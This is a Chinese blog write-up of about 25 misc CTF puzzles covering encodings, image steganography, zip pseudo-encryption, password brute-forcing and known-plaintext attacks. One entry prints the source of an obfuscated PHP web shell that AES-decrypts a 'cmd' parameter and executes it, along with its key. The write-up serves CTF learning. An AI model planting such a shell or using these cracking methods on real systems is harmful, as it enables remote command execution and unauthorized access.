随缘更新~~~ヾ(•ω•`)o
最后更新时间:2024年10月14日02点55分
WARNING: 文章内容均为个人见解,如发现错误请在评论区指出。
====================================================
按难度从低(⭐)到高(⭐⭐⭐⭐⭐)排序。
文章目录
- 0x01 Bear(⭐)
- 0x02 表情包(⭐)
- 0x03 回复就能换FLAG(⭐)
- 0x04 神奇的压缩包(⭐)
- 0x05 Whale(⭐)
- 0x06 小光的答案之书(⭐)
- 0x07 签到(⭐)
- 0x08 大魔王说需要听一下贝斯(⭐)
- 0x09 时间的秘密(⭐)
- 0x10 是我的Hanser!(⭐⭐)
- 0x11 上号(⭐⭐)
- 0x12 仓鼠的窝(⭐⭐)
- 0x13 我们的秘密(⭐⭐)
- 0x14 多情(⭐⭐)
- 0x15 简简单单的题目(⭐⭐⭐)
- 0x16 CTFer Revenge(⭐⭐⭐)
- 0x17 ez_model(⭐⭐⭐)
- 0x18 can_can_need_computer(⭐⭐⭐)(未解出)
- 0x19 Steal_Data(⭐⭐⭐)
- 0x20 神奇文字(⭐⭐⭐)
- 0x21 追光者(⭐⭐⭐⭐)
- 0x22 DNA-5(⭐⭐⭐⭐)
- 0x23 AgedSLATE(⭐⭐⭐⭐)
- 0x24 神秘文字(⭐⭐⭐⭐⭐)
- 0x25 func_pixels(⭐⭐⭐⭐⭐)
0x01 Bear(⭐)
考点:与熊论道
熊曰解密。解密网站:http://hi.pcmoe.net/index.html
0x02 表情包(⭐)
考点:文件属性
解压附件得到一堆小fu狸表情包,挨个查看文件属性详细信息,即可获得flag。
0x03 回复就能换FLAG(⭐)
考点:无
访问青少年CTF论坛回复置顶帖子即可获得flag。
0x04 神奇的压缩包(⭐)
考点:zip压缩包伪加密(?)
看题目描述像是伪加密,但是附件是一个正常的压缩包(?),可能是附件上传错了,直接解压即可获得flag。
0x05 Whale(⭐)
考点:无
cmd运行whale.exe即可获得flag。
0x06 小光的答案之书(⭐)
考点:圣堂武士编码
访问简介中的网址(https://bbs.qsnctf.com/thread-533-1-1.html),得到一张图片。
其中的符号为圣堂武士编码(没什么技巧辨别,纯靠经验积累),百度一张密码表翻译一下。
得到单词life,在帖子首行跳转到另一个帖子,输入life得不到flag(最后还是得去公众号。。。那为啥不把life设成回复关键词呢???( ̄_ ̄|||) )。
0x07 签到(⭐)
考点:无
解压附件得到一张图片,在右上角有一个二维码,拿手机扫描到公众号回复指定内容即可获得flag。(注意!这张图片QR Research或者草料二维码网站是扫不出内容的,需要拿stegsolve处理成单张二维码。)
0x08 大魔王说需要听一下贝斯(⭐)
考点:Base64
打开附件提示base64,随便找个网站(https://base64.us/)解密即可获得flag。
0x09 时间的秘密(⭐)
考点:时间戳转换
在线时间戳转换(https://www.beijing-time.org/shijianchuo/)。
WARNING: 由于各个网站转换出的结果稍有差异,所以此处贴出正确flag:xyvtc{2024-1-1 0:0:0}
0x10 是我的Hanser!(⭐⭐)
考点:零宽隐写
解压附件获得一个加密的zip文件和txt文档,将txt文档里的内容复制到零宽解密网站(https://yuanfux.github.io/zero-width-web/)解密获得zip文件密码。
解压获得psd文件,打开后隐藏图层2即可获得flag。
Tips:零宽隐写判断小技巧(用鼠标移动光标的同时观察列数变化,列数突然增大即为零宽隐写;在字数少的情况下,观察列数是否符合常理也可以判断是否为零宽隐写。)
0x11 上号(⭐⭐)
考点:流量包分析
,steghide图片隐写
解压附件后得到一个流量包,打开并导出shanghao.zip。
解压shanghao.zip,得到一张图片,用010Editor查看图片,在文件末尾发现qsnctf。
将上文获得的qsnctf作为密码,尝试使用steghide提取图片文件隐藏信息。
打开flag.txt获得flag。
0x12 仓鼠的窝(⭐⭐)
考点:拼图
出题人不当人,把图片裁了五千多张,本想用montage + gaps
解决的,结果电脑跑崩三次,无奈只能采取肉眼拼图大法,反复观察数次后,终于拼出几个单词。
结果提交flag还是个错的,最后只好去观摩大佬的wp,发现后面还要加三个"!"…
本着不浪费大家时间的原则,这里直接给出最后的flag:flag{Hamsters_are_so_cute!!!}
0x13 我们的秘密(⭐⭐)
考点:域名解析
随便找个在线域名解析网站(http://www.jsons.cn/nslookup/)解析一下即可获得flag。
0x14 多情(⭐⭐)
考点:图片分离
,png图片CRC爆破
,进制转换
,unicode编码转ASCII
下载解压附件得到一个zip文件和一张png图片,用010Editor打开图片,发现另一张图片。
用binwalk或者foremost分离(也可以直接复制16进制文本再粘贴到一个新文件中)。
使用crc宽高爆破脚本得出正确的宽高值(或者直接把高改个大点的值,只对特定题目有效)。
改为正确的宽高值后再次打开图片,得到一个数:996
解压刚开始得到的zip文件得到10个txt文件,内容为unicode编码过的字符。
将996转换成二进制数得1111100100。
刚好10个数对应txt文件上的数字,将txt文件按1111100100的顺序进行拼接再进行解码即可得到flag("第一个1.txt"对应的就是二进制数中第一个1,以此类推)。
0x15 简简单单的题目(⭐⭐⭐)
考点:二维码
,jpg图片隐写
,AES加密
,盲水印隐写
,LSB隐写
,中文电码
,盲文加密
,RGB转图片
解压附件获得四个文件。
打开hint.txt获得提示。
解压key1.zip需要输入密码,将hint中的qsnctf作为密码解压(图片带二维码的话大概率会被屏蔽掉,所以本文中的二维码均进行打码处理)。
扫描key.png,发现无法识别,将其与能正常识别得二维码对比,发现颜色相反,遂将key.png进行反色处理(https://remeins.com/index/app/fx)。
三个角缺少小黑块,将其补充完整。
再次扫描,获得字符串:Zz123!@#qsn
用010Editor打开key1.jpg将图片高度调高。
保存后再次打开图片获得 key:我沉醉了。
回到010Editor,翻到文件结尾发现加密字符串。
观察其开头为U2Fsd,根据经验猜测为AES加密,密钥为前文得到的key值。寻找在线网站(https://www.sojson.com/encrypt_aes.html)进行解密。
结合前文扫描二维码得到的字符串,获得fla2_key.zip的解压密码:QSNZz123!@#qsn。
解压fla2_key.zip,得到一张图片。
前文的hint中最后一行提示为傅里叶,所以这里猜测为盲水印隐写。
使用WaterMark工具提取盲水印,获得字符串:qsnctfNB666。
将刚得到的字符串作为密码,使用lsb隐写脚本cloacked-pixel进行解密。
将得到的数字进行中文电码查询(http://code.mcdvisa.com/),获得flag.zip的解压密码。
解压后打开key.txt,一眼顶针,盲文加密(https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=mangwen)。
将qsnCTF9999作为密码,使用free_file_Camouflage工具进行解密。
得到2.txt,将其中的{}去除。
将rgb值转换成图片即可获得flag。
转换脚本如下:
from PIL import Image
x = 753 # 宽
y = 754 # 高
# 对txt里的行数进行整数分解
im = Image.new("RGB",(x,y)) #创建图片
file = open('2.txt') #打开rbg值文件
#通过一个个rgb点生成图片
for i in range(0,x):
for j in range(0,y):
line = file.readline()#获取一行
rgb = line.split(" ")#根据空格分离rgb
im.putpixel((i,j),(int(rgb[0]),int(rgb[1]),int(rgb[2])))#rgb转化为像素
im.show()
0x16 CTFer Revenge(⭐⭐⭐)
考点:文本倒序
,zip文件密码爆破
解压附件得到txt文档,打开翻到最后看到zip文件头(逆序)。
用在线网站(https://www.67tool.com/text/text-reverse)将内容进行全文逆序。
用脚本将16进制内容提取出来。
res = ""
with open('1.txt', 'r', encoding='utf-8') as f:
for i in f:
line = i[10:58]
res += line
f.close()
# print(res)
with open('2.txt', 'w', encoding='utf-8') as f:
f.write(res)
f.close()
在010Editor中将刚刚得到的16进制粘贴进去,保存后改成.zip后缀。
打开得到的zip文件,发现需要密码,文件提示小写和数字,直接用ARCHPR进行暴力破解。
解压后打开图片,即可得到flag。
0x17 ez_model(⭐⭐⭐)
考点:PyTorch深度学习
解压附件获得一个pth文件。
pth格式文件简介
pth文件是PyTorch中常用的一种文件格式,主要用于保存和加载模型的参数。通过pth文件,我们可以方便地将训练好的模型参数保存下来,并在需要的时候重新加载使用。pth文件不仅包含了模型的权重,还可能包含模型的结构信息,这使得模型的恢复变得非常简单。
由于没有学过深度学习,所以这里百度一个加载模型的脚本(https://blog.51cto.com/u_16175442/9138272)。
import torch
import torchvision.models as models
# 创建模型实例
model = models.resnet18()
# 加载.pth文件中的参数
model.load_state_dict(torch.load('easy.pth'))
# 设置模型为推理模式
model.eval()
运行后报错,简单翻译下貌似缺少键值。
再次百度如何查看键值。
copy这个脚本简单修改下运行。
读取这两个键值内容。
根据经验判断应该是ASCII码,用工具转换一下。
看样子应该是base64编码的字符串跟用到的字典。
拿工具解密即可获得flag。
# 前文中读取key值的脚本
import torch
# 假设你的.pth文件名为 'model.pth'
file_path = 'easy.pth'
checkpoint = torch.load(file_path, map_location='cpu')
# 打印出所有的键
for key in checkpoint.keys():
print(key)
# 查看特定的键值,例如 'model_state_dict'
print(checkpoint['flag'])
print(checkpoint['hint'])
0x18 can_can_need_computer(⭐⭐⭐)(未解出)
考点:内存取证
做了一半,后面的找后门程序没找到。。。官方连wp都没有发。。。有思路大家去试吧🤧
呵呵,你是他请来修理电脑的帮手吧,既然找到了这里,那么我就给你一个机会,如果你能解密下面的信息,我就帮他修好他的电脑~~
哦对了,告诉你密钥的格式吧:
启动后门程序的按键(如有字母则为小写)_被修改且使用的文件的原名称_一串我喜欢的数字
例如:
a_1.txt_123
现在尝试去解密这串密文吧:
U2FsdGVkX1/AIh77kQBllKkJpfO57KeAqc5/9d5pSeXRYrPzaeradEvWIVCOgx5go8UORc6ULFk5lOeE/Lhz6Q==
0x19 Steal_Data(⭐⭐⭐)
考点:流量分析
,AES
,数学建模
,ASCII码
解压附件得到一个数据包,用wireshark
打开。
对流量包分析不太懂,所以用最笨的办法:一个一个看。右键追踪TCP流。
翻到流17
时出现http。
将服务器返回的内容转换回html网页显示(https://www.jyshare.com/front-end/61/),得到scare_shell.php
的源码。
<?php
$shell = $_REQUEST['cmd'];
$choice = $_GET['choice'];
if ($choice=='show_source'){
show_source(__FILE__);
}else{
echo "<h1>Welcome to Dragon Knight CTF</h1>";
}
$key = substr(md5('dragonknight') ,0 ,16);
$cmd = openssl_decrypt($shell, "AES-128-ECB", $key);
$a = base64_decode('c2hlbGxfZXhlYw==');
$result =$a($cmd);
$test = openssl_encrypt($result ,"AES-128-ECB" ,$key);
echo $test;
从源码中得到加密方式为AES-128-ECB
,密钥key为dragonknight
md5加密后的值的前16位,即
d0c3a4017c22f6c3
。在线网站验证一下。
将流18
的内容解密一下。
题目提示2024 51建模B题,找了原题看。。。说实话没看懂(https://www.bilibili.com/video/BV1bm421p7JF/?vd_source=3cf52ef9aa7efd5c314e577004eac600),貌似是什么路径优化,直接ChatGPT一波。
import networkx as nx
# 定义边列表
lujin = [(102, 22), (22, 33), (33, 108), (108, 102), (108, 12), (12, 13), (13, 97), (108, 97),
(97, 47), (97, 103), (47, 103), (103, 123), (123, 21), (103, 21), (123, 27), (123, 119),
(119, 27), (119, 58), (119, 105), (58, 105), (105, 115), (105, 44), (115, 44), (115, 104),
(115, 43), (43, 104), (104, 95), (95, 42), (42, 104), (95, 68), (95, 28), (28, 68), (68, 30),
(30, 114), (68, 114), (114, 65), (114, 62), (62, 65), (65, 71), (65, 60), (71, 60), (71, 61),
(71, 111), (61, 111), (111, 48), (111, 110), (110, 48), (110, 36), (110, 75), (36, 75), (75, 78),
(75, 38), (38, 78), (78, 39), (78, 73), (73, 39), (73, 46), (73, 57), (46, 57), (57, 9), (57, 72),
(9, 72), (72, 96), (72, 116), (116, 96), (116, 67), (116, 124), (67, 124), (67, 88), (88, 93),
(93, 67), (88, 70), (70, 94), (88, 94), (70, 45), (70, 63), (63, 45), (45, 66), (66, 31), (45, 31),
(66, 69), (66, 59), (59, 69), (69, 7), (69, 84), (7, 84), (84, 50), (50, 6), (84, 6), (50, 101),
(50, 2), (2, 101), (101, 0), (101, 82), (0, 82), (82, 125)]
# 创建有向图
G = nx.DiGraph()
# 向图中添加边
G.add_edges_from(lujin)
# 计算从节点102到节点125的最短路径
try:
shortest_path = nx.shortest_path(G, source=102, target=125)
print("从节点102到节点125的最短路径是:", shortest_path)
except nx.NetworkXNoPath:
print("从节点102到节点125不存在路径。")
# 如果想要优化图的构建(尽管在这里不太适用),可以考虑去除自环或重复边
# 但在这个特定的例子中,我们并没有执行这样的操作,因为它通常基于特定的图优化目标
# 例如,去除自环:
# G.remove_edges_from(nx.selfloop_edges(G))
# 但注意,这可能会改变图的连通性
ASCII码转换一下得到flag,提交时将flag{}换成DRKCTF{}(有乱码删掉即可)。
0x20 神奇文字(⭐⭐⭐)
考点:没见过的对照表
根据此视频(https://www.bilibili.com/video/BV1xCaDebE9w/?vd_source=3cf52ef9aa7efd5c314e577004eac600)中的对照表翻译即可。
0x21 追光者(⭐⭐⭐⭐)
考点:zip伪加密
,图片隐写
,明文攻击
下载附件解压,需要密码,用010Editor打开分析,鉴定为zip伪加密,将这两处的01
改为00
即可正常解压。
解压后得到一张图片和一个txt文本。
用010Editor打开图片,在jpg文件尾发现zip的文件头。
在文件末尾发现一行加密字符串。
用cyberchef(https://cyberchef.cn/)进行解密,得到密码提示。
使用binwalk
或者foremost
将zip文件从jpg图片中分离出来。
在注释中得到提示。
人们不愿意相信光是AB,人们更愿意相信光是AD。人们也不愿意相信,密码就在眼前,因为人们只愿相信自己愿意相信的,只愿看到自己想看到的……
用010Editor打开压缩包,使用全局搜索16进制字节AB
,将背景色修改成比较显眼的。
得到字符串:iam5thplay,但是解压时提示密码不对。。。试了半天结果末尾要加er。。。(坑。。。)
得到三个文件。
打开光.txt得到flag前半段。
打开看不见的光.zip
,里面也有一张闪.jpg
,通过crc比对两张图片是一样的。
那么就可以使用明文攻击(https://flandre-scarlet.moe/blog/1685/)。先将之前解压出来的闪.jpg
重新压缩一下(此处压缩我使用的是bandzip
,不知为何winRAR
和7Zip
压缩的都不行)。
使用ARCHPR
进行明文攻击。
将G3r1ing!
作为密码解压看不见的光.zip
。
打开txt.galf
。
将最后一行字符串逆序一下,然后和前面获得的前半段合并即可获得完整flag。
0x22 DNA-5(⭐⭐⭐⭐)
考点:摩斯密码
,atbash
看了半小时无果,只好去翻官方wp,看完深感自己想象力匮乏🤯。。。。(○| ̄|__)
此题贴出官方wp:
0x23 AgedSLATE(⭐⭐⭐⭐)
考点:文件分离
,01 to image
,海嗣文字翻译
,盲水印隐写
解压后用010Editor打开,看到png图片的文件头。
将文件后缀改成png后打开该图片。
一眼顶针,鉴定为明日方舟的海嗣,观察图片似乎不完整,用crc爆破脚本得出正确高度。
import struct
import zlib
def hexStr2bytes(s):
b = b""
for i in range(0,len(s),2):
temp = s[i:i+2]
b +=struct.pack("B",int(temp,16))
return b
str1="49484452" # IHDR
width = "0x042A"
height = "0x0480" # 高度与上面的不统一
str2="0802000000" # Bit depth,ColorType,Compression method,Filter method,Interlace method
crc32 = "0x87582188"
add_num = 2000 # 最大宽高,合理修改快速出flag
bytes1=hexStr2bytes(str1)
bytes2=hexStr2bytes(str2)
wid = int(width,16)
hei = int(height,16)
for w in range(wid,wid+add_num):
for h in range(hei,hei+add_num):
width = hex(w)[2:].rjust(8,'0')
height = hex(h)[2:].rjust(8,'0')
bytes_temp=hexStr2bytes(width+height)
if eval(hex(zlib.crc32(bytes1+bytes_temp+bytes2))) == eval(crc32):
print("宽:",hex(w),"高:",hex(h))
break
if eval(hex(zlib.crc32(bytes1+bytes_temp+bytes2))) == eval(crc32):
# print(hex(w),hex(h))
break
# 宽:1066 高:1920
修改高度后得到完整图片。
得到一段莫名其妙的话,貌似没什么用。继续用010Editor分析。
在图片文件尾发现了压缩包的文件头,用foremost分离一下。
得到一个docx文档和一张jpg图片。
打开docx文档,CTRL+A
全选后修改字体颜色,得到一堆二进制数据。
在文档底部还有一张图片(此处的图片与前文中分离出的jpg图片一致,所以此处不做分析)。
用01 to image
脚本转换成图片(为了方便读写,这里将数据复制到txt文本中再进行操作)。
import numpy as np
from PIL import Image
def read_binary_image(file_path):
# 打开并读取文件内容
with open(file_path, 'r') as file:
binary_data = file.read()
# 按行分割二进制数据
lines = binary_data.split('\n')
# 过滤掉空行
lines = [line for line in lines if line.strip()]
# 假设每一行代表一行像素,每个字符是一个像素(0或1)
# 将每一行转换为整数列表(0或1)
pixel_rows = [list(map(int, line)) for line in lines]
# 确定图像的宽度和高度
# 如果pixel_rows不为空,则宽度为第一行的长度,否则为0
# 高度为pixel_rows的长度
width = len(pixel_rows[0]) if pixel_rows else 0
height = len(pixel_rows)
# 创建一个NumPy数组,形状为(height, width),数据类型为uint8
image_array = np.array(pixel_rows, dtype=np.uint8)
# 由于PIL Image需要特定的维度(灰度图像需要形状为(height, width, 1)),但这里我们暂时不需要扩展维度
# 因为我们稍后会将其转换为灰度图像,所以这里直接处理为单通道即可
# 注意:下面的代码行是多余的,因为我们已经有了正确的单通道数组,所以将其注释掉
# image_array = np.stack((image_array,)*3, axis=-1) # 这行代码原本用于转换为RGB,但不适用于此场景
# image_array = image_array[:, :, 0] # 这行代码会丢失数据,因为我们已经有了灰度数据
# 直接使用NumPy数组创建PIL Image,但需要先将其值扩展到0-255范围(因为PIL Image使用8位像素值)
# 由于我们的数据是二进制(0或1),我们可以简单地将1映射到255(白色)
image = Image.fromarray((image_array * 255).astype(np.uint8)) # 确保转换为uint8类型以匹配PIL要求
# 将图像转换为灰度模式(虽然它已经是灰度的,但这一步可以确保图像以正确的模式显示)
# 注意:如果上面的扩展和类型转换正确,这一步其实是不必要的,因为结果已经是灰度图了
# 但为了代码的清晰性和完整性,我还是保留了这一步
image = image.convert('L') # 转换为灰度模式('L')
return image
# 示例用法
file_path = '1.txt' # 替换为你的文件路径
image = read_binary_image(file_path)
image.show() # 显示图像
image.save('output.png') # 保存图像
常玩明日方舟的同学应该能认出来这是游戏中的海嗣文字(镜像后的),将其镜像翻转
一下,然后对照翻译表进行翻译。
其中的?
翻译为_
(在刚开始的图片上有提示)。
翻译后得到后半段的flag(_THECROWDCALLS_RETURN_SUFFERINGFOREVER)。
用盲水印工具打开前文分离出的jpg图片,得到提示。
之后未能找出前半段flag,只好翻看官方wp,但未能得出结果。
以下是官方wp的前半段flag解法:
0x24 神秘文字(⭐⭐⭐⭐⭐)
考点:jsf**k变种
node运行txt即可得到压缩包密码,解压后得到flag。
0x25 func_pixels(⭐⭐⭐⭐⭐)
考点:(完全没看明白🤡)
直接看大佬写的wp吧(https://eupho.me/19d8fa37.html#misc)。